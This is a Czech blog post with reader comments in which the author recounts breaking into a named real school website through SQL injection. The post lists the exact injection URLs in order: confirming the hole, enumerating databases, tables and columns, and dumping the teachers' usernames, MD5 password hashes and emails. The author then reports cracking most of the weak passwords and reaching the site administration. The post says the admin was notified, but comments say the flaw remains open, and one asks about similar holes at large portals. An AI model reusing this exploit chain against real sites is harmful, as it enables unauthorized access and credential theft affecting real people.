Hack: SQL Injection na webu Kutnohorského gymnázia Orten
Občas se člověk trochu nudí a tak zkouší měnit hodnoty proměných v GETu, každý to určitě znáte :-). Nedbalost, nepozornost nebo neum správce webu www.gymkh.cz vytvořili možnost komukoliv záskat práva a editovat veškerý obsah stránek gymnázia. Kde jsou / byly chybičky?

Gymnázium Orten - Kutná Hora
První kroky po webu prozrazují, že web není asi tak úplně v pořádku - chybová hláška na konci stránky značí špatně zpracovaný kod php. Tento "postřeh" mě naťukne k tomu, abych se koukl do funkčnosti stránek blíže. Zjišťuji, že web běží na phpRS a některé prvky stránky jsou přidělávány pravděpodobně jinou osobou dodatečně - jde o stránku pana Ortena :)
Stránka pana Ortena
Tady už chybu prozrazuje klasické:
http://www.gymkh.cz/orten/clanky.php?akce=cist&id=-1 or 1=1
Další mé postupy jsou následující:
http://www.gymkh.cz/orten/clanky.php?akce=cist&id=-1 UNION ALL SELECT 1,version(),database(),4,5,6
Databáze z které čte prezentace pana Ortena se neshoduje s tou z které čerpá hlavní školní web, s tímto problémem jsem malinko zápasil, ale díky šikovným lidem (Emkei, .cCuMiNn. a RubberDuck) už v budoucnu tento problém mít nebudu :-). Pro dosažení zajímavých informací je tedy třeba zjistit, z jaké databáze čerpá hlavní část webu:
http://www.gymkh.cz/orten/clanky.php?akce=cist&id=-1 UNION ALL SELECT 1,schema_name,3,4,5,6 FROM information_schema.schemata
...zde vidíme databáze a tedy volíme tu správnou, tou jest "phprs", výpis tabulek této databáze nám poskytne tento dotaz:
http://www.gymkh.cz/orten/clanky.php?akce=cist&id=-1 UNION ALL SELECT 1,table_name,3,4,5,6 FROM information_schema.tables WHERE table_schema ='phprs'
Ouha, teď jen najít tu správnou tabulku a podívat se jaká data bude pravděpodobně obsahovat, just do it!>
http://www.gymkh.cz/orten/clanky.php?akce=cist&id=-1 UNION ALL SELECT 1,column_name,3,4,5,6 FROM information_schema.columns WHERE table_name ='rs_user'
Nyní už je vše jasné, chceme vidět obsah těchto sloupců: user, password, jmeno, email, admin. Tyto informace se nám budou určitě hodit tak si je vypíšeme, nesmíme zapomenout, že žádáme výpis dat z tabulky, která se nachází v DB phprs!
http://www.gymkh.cz/orten/clanky.php?akce=cist&id=-1 UNION ALL SELECT 1,concat(user,char(58),password,char(58),jmeno,char(58),email,char(58), admin),3,4,5,6 FROM phprs.rs_user
Olalá - máme vše potřebné, uživatelská jména, hesla, emaily, zkrátka vše - hesla jsou hashovaná v md5 ale jejich bezpečnost je nadmíru "přehnaná". Z 90% mají učitelé hesla číselná, z 60% jsou hesla pouze 4znaká. Zbytek má buď 8místné číslo, krátké slovníkové slovo s číslem nebo se mi zhruba 5% hesel nepodařilo cracknout vůbec. Ke cracknutí jsem používal on-line nástroj c0llision.net, mám ho rád díky možnosti zadat více hashu najednou :-). To asi tak k bezpečnosti celého webu, po přihlášení do administrace mohu editovat veškerý obsah stránek a nahlížet do interních dokumentů pro učitele.
Screenshots:
O chybě jsem poslal 21.12.2010 email administrátorovi webu, uvidíme jak rychle chybu opraví.

Komentáře
No teda, pořád nic :D
Tak to je dobre,to posledni jsou tam jmena,emaili a hesla v MD5 Hash,ktera vsechny zjisti.Existuje neco takoveho i u Seznamu nebo centrum.cz?
Diky moc kdyby jo.
Ahoj, odpovídám asi na všechny tvé dotazy: Kdyby něco takového existovalo na seznamu nebo třeba centrum.cz bylo by to hodně špatné a chyba by byla co nejdřív opravena. Šance, že takovou chybku najdeš u takto velkého portálu je málá, nicméně existuje...
Jako ochrana by stačilo ošetření vstupu $_GET[id] s htmlspecialchars() že?
tady konkrétně bych vstup ošetřil spíše takto:
$id = (int)$_GET['id'];
není-li $_GET['id'] číslo, nastaví se tak $id na 0.
Způsobů jak ošetřit vstupy je spousta :) - nicméně na velkém množství webů chybí základní ochrana a na spoustě dalších jsou třebas pozapomenuté proměné, takže stačí hledat...
Samozdřejmě, že to nespravil - pořád to samý
musím zdůraznit, že chyba která na webu je, není způsobena současným adminem, ale prací žáků která je už z dob předchozího admina - to že chyba ještě není opravená je věc jiná mno